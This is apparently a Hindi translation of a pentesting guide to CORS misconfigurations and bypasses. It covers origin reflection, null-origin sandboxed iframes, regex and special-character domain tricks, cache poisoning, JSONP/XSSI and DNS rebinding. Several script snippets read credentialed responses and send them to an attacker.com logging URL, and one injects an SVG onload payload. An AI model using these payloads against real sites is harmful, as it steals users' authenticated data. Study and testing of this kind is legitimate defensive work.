CORS - Misconfigurations & Bypass

Reading time: 26 minutes

CORS क्या है?

Cross-Origin Resource Sharing (CORS) मानक सर्वरों को यह परिभाषित करने की अनुमति देता है कि कौन उनके संसाधनों तक पहुँच सकता है और कौन से HTTP अनुरोध विधियाँ बाहरी स्रोतों से अनुमत हैं।

एक same-origin नीति यह अनिवार्य करती है कि एक सर्वर जो एक संसाधन का अनुरोध कर रहा है और जो सर्वर संसाधन होस्ट कर रहा है, उन्हें एक ही प्रोटोकॉल (जैसे, http://), डोमेन नाम (जैसे, internal-web.com), और पोर्ट (जैसे, 80) साझा करना चाहिए। इस नीति के तहत, केवल समान डोमेन और पोर्ट से वेब पृष्ठों को संसाधनों तक पहुँचने की अनुमति है।

http://normal-website.com/example/example.html के संदर्भ में same-origin नीति का अनुप्रयोग निम्नलिखित रूप में दर्शाया गया है:

*Internet Explorer समान-उत्पत्ति नीति को लागू करते समय पोर्ट संख्या की अनदेखी करता है, जिससे इस पहुँच की अनुमति मिलती है।

Access-Control-Allow-Origin Header

यह हेडर कई उत्पत्तियों, एक null मान, या एक वाइल्डकार्ड * की अनुमति दे सकता है। हालाँकि, कोई भी ब्राउज़र कई उत्पत्तियों का समर्थन नहीं करता, और वाइल्डकार्ड * के उपयोग पर सीमाएँ हैं। (वाइल्डकार्ड को अकेले उपयोग किया जाना चाहिए, और Access-Control-Allow-Credentials: true के साथ इसका उपयोग अनुमति नहीं है।)

यह हेडर एक सर्वर द्वारा जारी किया जाता है एक क्रॉस-डोमेन संसाधन अनुरोध के जवाब में जो एक वेबसाइट द्वारा शुरू किया गया है, जिसमें ब्राउज़र स्वचालित रूप से एक Origin हेडर जोड़ता है।

Access-Control-Allow-Credentials Header

डिफ़ॉल्ट रूप से, क्रॉस-उत्पत्ति अनुरोध बिना क्रेडेंशियल्स जैसे कुकीज़ या ऑथराइजेशन हेडर के किए जाते हैं। फिर भी, एक क्रॉस-डोमेन सर्वर प्रतिक्रिया को पढ़ने की अनुमति दे सकता है जब क्रेडेंशियल्स भेजे जाते हैं, Access-Control-Allow-Credentials हेडर को true सेट करके।

यदि इसे true पर सेट किया गया, तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) को संचारित करेगा।

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

जब विशेष परिस्थितियों के तहत क्रॉस-डोमेन अनुरोध शुरू किया जाता है, जैसे कि गैर-मानक HTTP विधि (HEAD, GET, POST के अलावा कुछ भी) का उपयोग करना, नए हेडर पेश करना, या एक विशेष Content-Type हेडर मान का उपयोग करना, तो एक प्री-फ्लाइट अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, OPTIONS विधि का उपयोग करते हुए, सर्वर को आगामी क्रॉस-ओरिजिन अनुरोध के इरादों के बारे में सूचित करने के लिए है, जिसमें HTTP विधियाँ और हेडर शामिल हैं जिनका वह उपयोग करने का इरादा रखता है।

क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS) प्रोटोकॉल इस प्री-फ्लाइट जांच की मांग करता है ताकि अनुरोधित क्रॉस-ओरिजिन ऑपरेशन की व्यवहार्यता का निर्धारण किया जा सके, जो अनुमत विधियों, हेडरों और मूल की विश्वसनीयता की पुष्टि करता है। प्री-फ्लाइट अनुरोध की आवश्यकता से बचने के लिए किन परिस्थितियों का पालन किया जाता है, इसके लिए Mozilla Developer Network (MDN) द्वारा प्रदान किए गए व्यापक गाइड का संदर्भ लें।

यह ध्यान रखना महत्वपूर्ण है कि प्री-फ्लाइट अनुरोध की अनुपस्थिति प्रतिक्रिया के लिए प्राधिकरण हेडर ले जाने की आवश्यकता को समाप्त नहीं करती है। इन हेडरों के बिना, ब्राउज़र क्रॉस-ओरिजिन अनुरोध से प्रतिक्रिया को संसाधित करने में असमर्थ है।

PUT विधि का उपयोग करने के साथ-साथ Special-Request-Header नामक एक कस्टम हेडर का उपयोग करने के लिए प्री-फ्लाइट अनुरोध का निम्नलिखित चित्रण पर विचार करें:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

इसके जवाब में, सर्वर हेडर वापस कर सकता है जो स्वीकृत विधियों, अनुमत मूल और अन्य CORS नीति विवरणों को इंगित करते हैं, जैसा कि नीचे दिखाया गया है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: यह हेडर यह निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर का उपयोग किया जा सकता है। इसे सर्वर द्वारा सेट किया जाता है ताकि क्लाइंट से अनुरोधों में अनुमत हेडर का संकेत दिया जा सके।
• Access-Control-Expose-Headers: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर को साधारण प्रतिक्रिया हेडर के अलावा प्रतिक्रिया के हिस्से के रूप में उजागर किया जा सकता है।
• Access-Control-Max-Age: यह हेडर यह संकेत करता है कि प्री-फ्लाइट अनुरोध के परिणामों को कितनी देर तक कैश किया जा सकता है। सर्वर अधिकतम समय सेट करता है, सेकंड में, कि प्री-फ्लाइट अनुरोध द्वारा लौटाई गई जानकारी को कितनी बार पुनः उपयोग किया जा सकता है।
• Access-Control-Request-Headers: प्री-फ्लाइट अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा सेट किया जाता है ताकि सर्वर को सूचित किया जा सके कि क्लाइंट वास्तविक अनुरोध में कौन से HTTP हेडर का उपयोग करना चाहता है।
• Access-Control-Request-Method: यह हेडर, जो प्री-फ्लाइट अनुरोधों में भी उपयोग किया जाता है, क्लाइंट द्वारा सेट किया जाता है ताकि यह संकेत दिया जा सके कि वास्तविक अनुरोध में कौन सा HTTP विधि का उपयोग किया जाएगा।
• Origin: यह हेडर स्वचालित रूप से ब्राउज़र द्वारा सेट किया जाता है और क्रॉस-ओरिजिन अनुरोध के मूल को इंगित करता है। इसका उपयोग सर्वर द्वारा यह आकलन करने के लिए किया जाता है कि क्या आने वाले अनुरोध को CORS नीति के आधार पर अनुमति दी जानी चाहिए या अस्वीकृत किया जाना चाहिए।

ध्यान दें कि आमतौर पर (सामग्री-प्रकार और सेट किए गए हेडर के आधार पर) एक GET/POST अनुरोध में कोई प्री-फ्लाइट अनुरोध नहीं भेजा जाता (अनुरोध प्रत्यक्ष भेजा जाता है), लेकिन यदि आप प्रतिक्रिया के हेडर/शरीर तक पहुंचना चाहते हैं, तो इसमें Access-Control-Allow-Origin हेडर होना चाहिए जो इसकी अनुमति देता है।
इसलिए, CORS CSRF के खिलाफ सुरक्षा नहीं करता (लेकिन यह सहायक हो सकता है)।

स्थानीय नेटवर्क अनुरोध प्री-फ्लाइट अनुरोध

1. Access-Control-Request-Local-Network: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि यह संकेत दिया जा सके कि पूछताछ स्थानीय नेटवर्क संसाधन के लिए है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में कार्य करता है कि अनुरोध स्थानीय नेटवर्क के भीतर से उत्पन्न होता है।
2. Access-Control-Allow-Local-Network: इसके जवाब में, सर्वर इस हेडर का उपयोग यह संप्रेषित करने के लिए करते हैं कि अनुरोधित संसाधन को स्थानीय नेटवर्क के बाहर की संस्थाओं के साथ साझा करने की अनुमति है। यह विभिन्न नेटवर्क सीमाओं के पार संसाधनों को साझा करने के लिए एक हरी बत्ती के रूप में कार्य करता है, जबकि सुरक्षा प्रोटोकॉल को बनाए रखते हुए नियंत्रित पहुंच सुनिश्चित करता है।

एक मान्य प्रतिक्रिया जो स्थानीय नेटवर्क अनुरोध की अनुमति देती है को प्रतिक्रिया में Access-Controls-Allow-Local_network: true हेडर भी होना चाहिए:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Wildcards

ध्यान दें कि भले ही निम्नलिखित कॉन्फ़िगरेशन सुपर अनुमति देने वाला लग सकता है:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

यह ब्राउज़रों द्वारा अनुमति नहीं है और इसलिए क्रेडेंशियल्स इस अनुरोध के साथ नहीं भेजे जाएंगे।

शोषणीय गलत कॉन्फ़िगरेशन

यह देखा गया है कि Access-Control-Allow-Credentials को true पर सेट करना अधिकांश वास्तविक हमलों के लिए एक पूर्वापेक्षा है। यह सेटिंग ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, जिससे हमले की प्रभावशीलता बढ़ती है। इसके बिना, ब्राउज़र को अनुरोध करने के लाभ को स्वयं करने की तुलना में कम कर दिया जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का लाभ उठाना असंभव हो जाता है।

अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण

एक अपवाद है जहाँ पीड़ित का नेटवर्क स्थान प्रमाणीकरण के एक रूप के रूप में कार्य करता है। यह पीड़ित के ब्राउज़र का उपयोग एक प्रॉक्सी के रूप में करने की अनुमति देता है, आईपी-आधारित प्रमाणीकरण को दरकिनार करते हुए इंट्रानेट अनुप्रयोगों तक पहुँचने के लिए। इस विधि का प्रभाव DNS रीबाइंडिंग के साथ समानताएँ साझा करता है लेकिन इसे शोषण करना सरल है।

Access-Control-Allow-Origin में Origin का परावर्तन

वास्तविक परिदृश्य जहाँ Origin हेडर का मान Access-Control-Allow-Origin में परावर्तित होता है, सिद्धांत रूप से असंभव है क्योंकि इन हेडरों को संयोजित करने पर प्रतिबंध हैं। हालाँकि, डेवलपर्स जो कई URL के लिए CORS सक्षम करना चाहते हैं, वे Origin हेडर के मान को कॉपी करके Access-Control-Allow-Origin हेडर को गतिशील रूप से उत्पन्न कर सकते हैं। यह दृष्टिकोण कमजोरियों को पेश कर सकता है, विशेष रूप से जब एक हमलावर एक ऐसा डोमेन उपयोग करता है जिसका नाम वैध प्रतीत होने के लिए डिज़ाइन किया गया है, जिससे मान्यता लॉजिक को धोखा दिया जा सके।

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin का लाभ उठाना

null origin, जिसे रीडायरेक्ट या स्थानीय HTML फ़ाइलों जैसी स्थितियों के लिए निर्दिष्ट किया गया है, एक अद्वितीय स्थिति रखता है। कुछ अनुप्रयोग इस origin को स्थानीय विकास को सुविधाजनक बनाने के लिए व्हाइटलिस्ट करते हैं, जिससे अनजाने में कोई भी वेबसाइट एक sandboxed iframe के माध्यम से null origin की नकल कर सकती है, इस प्रकार CORS प्रतिबंधों को बायपास कर सकती है।

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

नियमित अभिव्यक्ति बायपास तकनीकें

जब एक डोमेन व्हाइटलिस्ट का सामना करना पड़ता है, तो बायपास के अवसरों का परीक्षण करना महत्वपूर्ण है, जैसे कि हमलावर के डोमेन को व्हाइटलिस्टेड डोमेन में जोड़ना या सबडोमेन टेकओवर कमजोरियों का लाभ उठाना। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग की जाने वाली नियमित अभिव्यक्तियाँ डोमेन नामकरण परंपराओं में बारीकियों को नजरअंदाज कर सकती हैं, जिससे और भी बायपास के अवसर उत्पन्न होते हैं।

उन्नत नियमित अभिव्यक्ति बायपास

Regex पैटर्न आमतौर पर अल्फ़ान्यूमेरिक, डॉट (.), और हाइफ़न (-) वर्णों पर केंद्रित होते हैं, अन्य संभावनाओं की अनदेखी करते हैं। उदाहरण के लिए, एक डोमेन नाम जो ऐसे वर्णों को शामिल करने के लिए तैयार किया गया है जिन्हें ब्राउज़रों और regex पैटर्न द्वारा अलग तरीके से व्याख्यायित किया जाता है, सुरक्षा जांचों को बायपास कर सकता है। Safari, Chrome, और Firefox द्वारा सबडोमेन में अंडरस्कोर वर्णों के प्रबंधन से यह स्पष्ट होता है कि कैसे ऐसे भिन्नताएँ डोमेन मान्यता तर्क को दरकिनार करने के लिए उपयोग की जा सकती हैं।

इस बायपास जांच की अधिक जानकारी और सेटिंग्स के लिए: https://www.corben.io/advanced-cors-techniques/ और https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

एक सबडोमेन के अंदर XSS से

डेवलपर्स अक्सर CORS शोषण से बचाने के लिए सुरक्षा तंत्र लागू करते हैं, उन डोमेन को व्हाइटलिस्ट करके जिन्हें जानकारी मांगने की अनुमति है। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेनों के भीतर एक भी कमजोर सबडोमेन की उपस्थिति अन्य कमजोरियों, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग) के माध्यम से CORS शोषण के लिए दरवाजे खोल सकती है।

उदाहरण के लिए, उस परिदृश्य पर विचार करें जहाँ एक डोमेन, requester.com, को दूसरे डोमेन, provider.com, से संसाधनों तक पहुँचने के लिए व्हाइटलिस्ट किया गया है। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस तरह दिख सकता है:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

इस सेटअप में, requester.com के सभी सबडोमेन को एक्सेस की अनुमति है। हालाँकि, यदि कोई सबडोमेन, जैसे sub.requester.com, XSS कमजोरियों के साथ समझौता किया गया है, तो एक हमलावर इस कमजोरी का लाभ उठा सकता है। उदाहरण के लिए, sub.requester.com तक पहुँच रखने वाला एक हमलावर XSS कमजोरी का उपयोग करके CORS नीतियों को बायपास कर सकता है और provider.com पर संसाधनों तक दुर्भावनापूर्ण तरीके से पहुँच प्राप्त कर सकता है।

विशेष वर्ण

PortSwigger का URL validation bypass cheat sheet ने पाया कि कुछ ब्राउज़र डोमेन नामों के भीतर अजीब वर्णों का समर्थन करते हैं।

Chrome और Firefox अंडरस्कोर _ का समर्थन करते हैं जो Origin हेडर को मान्य करने के लिए लागू किए गए regexes को बायपास कर सकते हैं:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari विशेष वर्णों को डोमेन नाम में स्वीकार करने में और भी लचीला है:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

अन्य मजेदार URL ट्रिक्स

URL Format Bypass

सर्वर-साइड कैश जहर देना

इस शोध से

HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश जहर देने का लाभ उठाकर, एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता उत्पन्न की जा सकती है। यह परिदृश्य तब उत्पन्न होता है जब एक एप्लिकेशन अवैध वर्णों के लिए Origin हेडर को साफ़ करने में विफल रहता है, जो विशेष रूप से इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक भेद्यता पैदा करता है। ये ब्राउज़र (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में मानते हैं, जिससे HTTP हेडर इंजेक्शन भेद्यताएँ उत्पन्न होती हैं।

उस अनुरोध पर विचार करें जहाँ Origin हेडर को हेरफेर किया गया है:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer और Edge प्रतिक्रिया को इस प्रकार समझते हैं:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

इस कमजोरियों का सीधे शोषण करना, एक वेब ब्राउज़र को एक गलत हेडर भेजने के लिए मजबूर करना संभव नहीं है, लेकिन एक तैयार अनुरोध को Burp Suite जैसे उपकरणों का उपयोग करके मैन्युअल रूप से उत्पन्न किया जा सकता है। यह विधि एक सर्वर-साइड कैश को प्रतिक्रिया को सहेजने और अनजाने में इसे दूसरों को सेवा देने की संभावना पैदा कर सकती है। तैयार पेलोड का उद्देश्य पृष्ठ के वर्ण सेट को UTF-7 में बदलना है, जो एक वर्ण एन्कोडिंग है जो अक्सर XSS कमजोरियों से जुड़ी होती है क्योंकि यह कुछ संदर्भों में स्क्रिप्ट के रूप में निष्पादित किए जाने योग्य तरीके से वर्णों को एन्कोड करने की क्षमता रखती है।

स्टोर की गई XSS कमजोरियों पर आगे पढ़ने के लिए, देखें PortSwigger।

नोट: HTTP हेडर इंजेक्शन कमजोरियों का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता-प्रदत्त इनपुट, जिसमें HTTP हेडर शामिल हैं, को मान्य और स्वच्छ करने के महत्व को रेखांकित करता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यता शामिल हो ताकि ऐसी कमजोरियों को रोका जा सके।

क्लाइंट-साइड कैश पॉइज़निंग

इस शोध से

इस परिदृश्य में, एक वेब पृष्ठ का उदाहरण देखा जाता है जो एक कस्टम HTTP हेडर की सामग्री को उचित एन्कोडिंग के बिना दर्शाता है। विशेष रूप से, वेब पृष्ठ X-User-id हेडर में शामिल सामग्री को वापस दर्शाता है, जिसमें दुर्भावनापूर्ण JavaScript शामिल हो सकता है, जैसा कि उदाहरण में दिखाया गया है जहां हेडर में एक SVG छवि टैग है जिसे लोड पर JavaScript कोड निष्पादित करने के लिए डिज़ाइन किया गया है।

क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS) नीतियाँ कस्टम हेडर भेजने की अनुमति देती हैं। हालाँकि, यदि प्रतिक्रिया को CORS प्रतिबंधों के कारण ब्राउज़र द्वारा सीधे प्रस्तुत नहीं किया जाता है, तो ऐसी इंजेक्शन की उपयोगिता सीमित लग सकती है। महत्वपूर्ण बिंदु तब उत्पन्न होता है जब ब्राउज़र के कैश व्यवहार पर विचार किया जाता है। यदि Vary: Origin हेडर निर्दिष्ट नहीं किया गया है, तो दुर्भावनापूर्ण प्रतिक्रिया को ब्राउज़र द्वारा कैश किया जाना संभव हो जाता है। इसके बाद, जब URL पर नेविगेट किया जाता है, तो यह कैश की गई प्रतिक्रिया सीधे प्रस्तुत की जा सकती है, प्रारंभिक अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को दरकिनार करते हुए। यह तंत्र क्लाइंट-साइड कैशिंग का लाभ उठाकर हमले की विश्वसनीयता को बढ़ाता है।

इस हमले को स्पष्ट करने के लिए, एक JavaScript उदाहरण प्रदान किया गया है, जिसे एक वेब पृष्ठ के वातावरण में निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि JSFiddle के माध्यम से। यह स्क्रिप्ट एक सरल क्रिया करती है: यह एक निर्दिष्ट URL पर एक कस्टम हेडर के साथ दुर्भावनापूर्ण JavaScript के साथ एक अनुरोध भेजती है। सफल अनुरोध पूर्ण होने पर, यह लक्षित URL पर नेविगेट करने का प्रयास करती है, संभावित रूप से यदि प्रतिक्रिया को Vary: Origin हेडर के उचित हैंडलिंग के बिना कैश किया गया है तो इंजेक्टेड स्क्रिप्ट के निष्पादन को ट्रिगर करती है।

यहाँ इस हमले को निष्पादित करने के लिए उपयोग किए गए JavaScript का संक्षिप्त विवरण है:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, जिसे Cross-Site Script Inclusion के नाम से भी जाना जाता है, एक प्रकार की कमजोरी है जो इस तथ्य का लाभ उठाती है कि Same Origin Policy (SOP) का पालन करते समय संसाधनों को शामिल करते समय लागू नहीं होता है। इसका कारण यह है कि स्क्रिप्टों को विभिन्न डोमेन से शामिल किया जा सकता है। यह कमजोरी एक हमलावर को स्क्रिप्ट टैग का उपयोग करके शामिल की गई किसी भी सामग्री को एक्सेस और पढ़ने की अनुमति देती है।

यह कमजोरी विशेष रूप से महत्वपूर्ण हो जाती है जब यह गतिशील JavaScript या JSONP (JSON with Padding) की बात आती है, विशेष रूप से जब ऑथेंटिकेशन के लिए कुकीज़ जैसी वातावरण-प्राधिकरण जानकारी का उपयोग किया जाता है। जब किसी अलग होस्ट से संसाधन का अनुरोध किया जाता है, तो कुकीज़ शामिल होती हैं, जिससे वे हमलावर के लिए उपलब्ध हो जाती हैं।

इस कमजोरी को बेहतर ढंग से समझने और कम करने के लिए, आप https://github.com/kapytein/jsonp पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपकी वेब अनुप्रयोगों में संभावित XSSI कमजोरियों की पहचान और समाधान में मदद कर सकता है।

यहां XSSI के विभिन्न प्रकारों और उन्हें कैसे शोषण करें के बारे में अधिक पढ़ें।

अनुरोध में एक callback पैरामीटर जोड़ने का प्रयास करें। शायद पृष्ठ को डेटा को JSONP के रूप में भेजने के लिए तैयार किया गया था। इस मामले में, पृष्ठ Content-Type: application/javascript के साथ डेटा वापस भेजेगा, जो CORS नीति को बायपास करेगा।

Easy (useless?) bypass

Access-Control-Allow-Origin प्रतिबंध को बायपास करने का एक तरीका यह है कि एक वेब अनुप्रयोग से आपके पक्ष में अनुरोध करने के लिए कहा जाए और प्रतिक्रिया वापस भेजी जाए। हालाँकि, इस परिदृश्य में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक अलग डोमेन पर किया गया है।

1. CORS-escape: यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को इसके हेडर के साथ आगे बढ़ाता है, जबकि अनुरोधित डोमेन से मेल खाने के लिए Origin हेडर को भी स्पूफ करता है। यह प्रभावी रूप से CORS नीति को बायपास करता है। यहाँ XMLHttpRequest के साथ उपयोग का एक उदाहरण है:
2. simple-cors-escape: यह उपकरण अनुरोधों को प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। आपके अनुरोध को जैसा है वैसा पास करने के बजाय, सर्वर निर्दिष्ट पैरामीटर के साथ अपना स्वयं का अनुरोध करता है।

Iframe + Popup Bypass

आप e.origin === window.origin जैसे CORS जांचों को एक iframe बनाने और उससे एक नई विंडो खोलने के द्वारा बायपास कर सकते हैं। अधिक जानकारी निम्नलिखित पृष्ठ में:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

TTL के माध्यम से DNS रीबाइंडिंग एक तकनीक है जिसका उपयोग कुछ सुरक्षा उपायों को बायपास करने के लिए DNS रिकॉर्ड को हेरफेर करके किया जाता है। यह कैसे काम करता है:

1. हमलावर एक वेब पृष्ठ बनाता है और पीड़ित को इसे एक्सेस करने के लिए कहता है।
2. फिर हमलावर अपने डोमेन का DNS (IP) बदलता है ताकि यह पीड़ित के वेब पृष्ठ की ओर इशारा करे।
3. पीड़ित का ब्राउज़र DNS प्रतिक्रिया को कैश करता है, जिसमें TTL (Time to Live) मान हो सकता है जो यह दर्शाता है कि DNS रिकॉर्ड को कितनी देर तक मान्य माना जाना चाहिए।
4. जब TTL समाप्त होता है, तो पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावर को पीड़ित के पृष्ठ पर JavaScript कोड निष्पादित करने की अनुमति मिलती है।
5. पीड़ित के IP पर नियंत्रण बनाए रखकर, हमलावर बिना किसी कुकीज़ को पीड़ित सर्वर पर भेजे जानकारी एकत्र कर सकता है।

यह ध्यान रखना महत्वपूर्ण है कि ब्राउज़रों में कैशिंग तंत्र होते हैं जो इस तकनीक के तात्कालिक दुरुपयोग को रोक सकते हैं, भले ही TTL मान कम हो।

DNS रीबाइंडिंग उन स्पष्ट IP जांचों को बायपास करने के लिए उपयोगी हो सकती है जो पीड़ित द्वारा की जाती हैं या उन परिदृश्यों के लिए जहां एक उपयोगकर्ता या बॉट लंबे समय तक एक ही पृष्ठ पर रहता है, जिससे कैश समाप्त हो जाता है।

यदि आपको DNS रीबाइंडिंग का दुरुपयोग करने का एक त्वरित तरीका चाहिए, तो आप https://lock.cmpxchg8b.com/rebinder.html जैसी सेवाओं का उपयोग कर सकते हैं।

अपने स्वयं के DNS रीबाइंडिंग सर्वर को चलाने के लिए, आप DNSrebinder (https://github.com/mogwailabs/DNSrebinder) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें आपके स्थानीय पोर्ट 53/udp को उजागर करना, इसके लिए एक A रिकॉर्ड बनाना (जैसे, ns.example.com), और पहले बनाए गए A उपडोमेन (जैसे, ns.example.com) की ओर इशारा करने वाला एक NS रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन तब आपके होस्ट द्वारा हल किया जाएगा।

आप आगे की समझ और प्रयोग के लिए http://rebind.it/singularity.html पर एक सार्वजनिक रूप से चलने वाले सर्वर का भी अन्वेषण कर सकते हैं।

DNS Rebinding via DNS Cache Flooding

DNS कैश बाढ़ के माध्यम से DNS रीबाइंडिंग एक और तकनीक है जिसका उपयोग ब्राउज़रों के कैशिंग तंत्र को बायपास करने और एक दूसरा DNS अनुरोध करने के लिए किया जाता है। यह कैसे काम करता है:

1. प्रारंभ में, जब पीड़ित एक DNS अनुरोध करता है, तो इसे हमलावर के IP पते के साथ उत्तर दिया जाता है।
2. कैशिंग रक्षा को बायपास करने के लिए, हमलावर एक सेवा कार्यकर्ता का लाभ उठाता है। सेवा कार्यकर्ता DNS कैश को बाढ़ करता है, जो प्रभावी रूप से कैश किए गए हमलावर सर्वर नाम को हटा देता है।
3. जब पीड़ित का ब्राउज़र एक दूसरा DNS अनुरोध करता है, तो इसे अब IP पते 127.0.0.1 के साथ उत्तर दिया जाता है, जो आमतौर पर लोकलहोस्ट को संदर्भित करता है।

सेवा कार्यकर्ता के साथ DNS कैश को बाढ़ करके, हमलावर DNS समाधान प्रक्रिया को हेरफेर कर सकता है और पीड़ित के ब्राउज़र को एक दूसरा अनुरोध करने के लिए मजबूर कर सकता है, इस बार हमलावर के इच्छित IP पते पर हल किया जा रहा है।

DNS Rebinding via Cache

कैशिंग रक्षा को बायपास करने का एक और तरीका DNS प्रदाता में एक ही उपडोमेन के लिए कई IP पते का उपयोग करना है। यह कैसे काम करता है:

1. हमलावर DNS प्रदाता में एक ही उपडोमेन के लिए दो A रिकॉर्ड (या दो IPs के साथ एक A रिकॉर्ड) सेट करता है।
2. जब एक ब्राउज़र इन रिकॉर्ड्स की जांच करता है, तो यह दोनों IP पते प्राप्त करता है।
3. यदि ब्राउज़र पहले हमलावर के IP पते का उपयोग करने का निर्णय लेता है, तो हमलावर एक पेलोड प्रदान कर सकता है जो उसी डोमेन पर HTTP अनुरोध करता है।
4. हालाँकि, एक बार जब हमलावर पीड़ित का IP पता प्राप्त कर लेता है, तो वे पीड़ित के ब्राउज़र को उत्तर देना बंद कर देते हैं।
5. पीड़ित का ब्राउज़र, यह महसूस करते हुए कि डोमेन अनुप्रतिक्रियाशील है, दूसरे दिए गए IP पते का उपयोग करने के लिए आगे बढ़ता है।
6. दूसरे IP पते तक पहुँचकर, ब्राउज़र Same Origin Policy (SOP) को बायपास करता है, जिससे हमलावर इसका दुरुपयोग कर सकता है और जानकारी एकत्र और बाहर निकाल सकता है।

यह तकनीक उन ब्राउज़रों के व्यवहार का लाभ उठाती है जब एक डोमेन के लिए कई IP पते प्रदान किए जाते हैं। प्रतिक्रियाओं को रणनीतिक रूप से नियंत्रित करके और ब्राउज़र के IP पते के चयन में हेरफेर करके, एक हमलावर SOP का शोषण कर सकता है और पीड़ित से जानकारी प्राप्त कर सकता है।

warning

ध्यान दें कि लोकलहोस्ट तक पहुँचने के लिए आपको Windows में 127.0.0.1 और Linux में 0.0.0.0 को रीबाइंड करने का प्रयास करना चाहिए।
प्रदाता जैसे godaddy या cloudflare ने मुझे IP 0.0.0.0 का उपयोग करने की अनुमति नहीं दी, लेकिन AWS route53 ने मुझे 2 IPs के साथ एक A रिकॉर्ड बनाने की अनुमति दी, जिनमें से एक "0.0.0.0" है।

अधिक जानकारी के लिए आप https://unit42.paloaltonetworks.com/dns-rebinding/ देख सकते हैं।

Other Common Bypasses

